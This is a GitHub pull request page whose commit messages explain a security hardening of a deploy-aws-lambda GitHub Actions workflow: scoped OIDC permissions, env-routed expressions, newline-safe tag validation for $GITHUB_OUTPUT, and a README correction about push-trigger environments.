- Constrain the tag to the OCI tag grammar, checked against a shell
  variable rather than an already-expanded expression, so unlike the
  original guard it actually validates something.
- Allowlist the resolved environment to dev|staging|prod. The
  `workflow_call` input is a free-form string, unlike the
  `workflow_dispatch` `choice`, so it was previously unchecked.
- Drop `id-token: write` to job level, granting it only to
  `build-and-deploy` and `test-deployment` — the two jobs that assume the
  deploy role, both of which are bound to an environment. `prepare` and
  `summary` authenticate to nothing and now hold `contents: read`.
- Rename the `environment` output to `target_environment` (11 consumers)
  so it cannot be misread as a binding.
- Replace the unquoted `cat <<EOF > deployment-info.json` heredoc with
  `jq -n --arg`. The tag is charset-validated upstream, but that heredoc
  sits in a job holding `id-token: write` and would evaluate `$(...)` in
  any value reaching it.
- Route the function URL and the `-var-file` environment through `env:`
  for consistency with the rest of the file.

Verified with `actionlint` (shellcheck available): no new findings, and
the six the rewritten `prepare` job used to produce are gone (SC2086
28 -> 22). The 26 that remain are pre-existing, sit outside the changed
hunks, and are tracked in #1646.

Closes #1649

* fix(ci): correct the release-tag guard and route summary through env

Addresses three findings from the independent review of this PR.

The tag guard rejected valid tags. `^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$`
excludes `/` and `+`, so two of this repo's four existing tags fail it,
as do `release/1.0` and `v1.2.3+build.5`. A release cut on a
slash-namespaced tag would have hard-failed `prepare` and blocked the
whole production deploy.

Filtering shell metacharacters was the wrong instinct anyway: they are
already inert, because the value arrives via `env:` and is only ever
referenced quoted. The structural threat is a NEWLINE, since the tag is
written to `$GITHUB_OUTPUT` as a single `tag=<value>` line and a newline
would append attacker-chosen output keys that the two credentialed
downstream jobs then consume. So the guard now rejects empty and control
characters and allows the rest of the git ref charset, with a note that
an OCI-grammar check belongs here if the value is ever wired to
Terraform's `custom_image_tag` (it is not today — the real image tag is
derived from the git commit inside the build module).

`summary` still interpolated six expressions directly into its `run:`
block, including `needs.prepare.outputs.image_tag`, whose origin is the
release tag and which was safe only because a guard in a *different* job
had run. That makes the operative rule "raw interpolation is fine when
someone upstream validated", an implicit invariant that breaks silently
the moment the upstream guard moves. All six now go through `env:`, so
the file has one uniform rule: no `${{ }}` in any `run:` block.

Also quote the `$GITHUB_OUTPUT` redirect targets in the two steps that
still wrote to them unquoted, which is the same output-integrity concern
this PR is about.

actionlint (with shellcheck) now reports **0** findings on this file,
down from 32 before the PR and 26 at the previous commit.

* docs(ci): correct push-trigger environment in deploy-aws-lambda README

The workflow's fallback case intentionally maps a push event to dev,
not staging (deploy-aws-lambda.yml's `*) TARGET_ENVIRONMENT=dev`
arm), but the README still described push-to-main as deploying to
staging. Correct the two doc references instead of changing the
fallback: it is the safe default that stops an unrecognised trigger
from landing in a production-adjacent environment, so weakening it
to staging would make the failure mode worse, not the doc more
accurate.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

effort/s Hours impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things

Projects

None yet

Development

Successfully merging this pull request may close these issues.

sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write

1 participant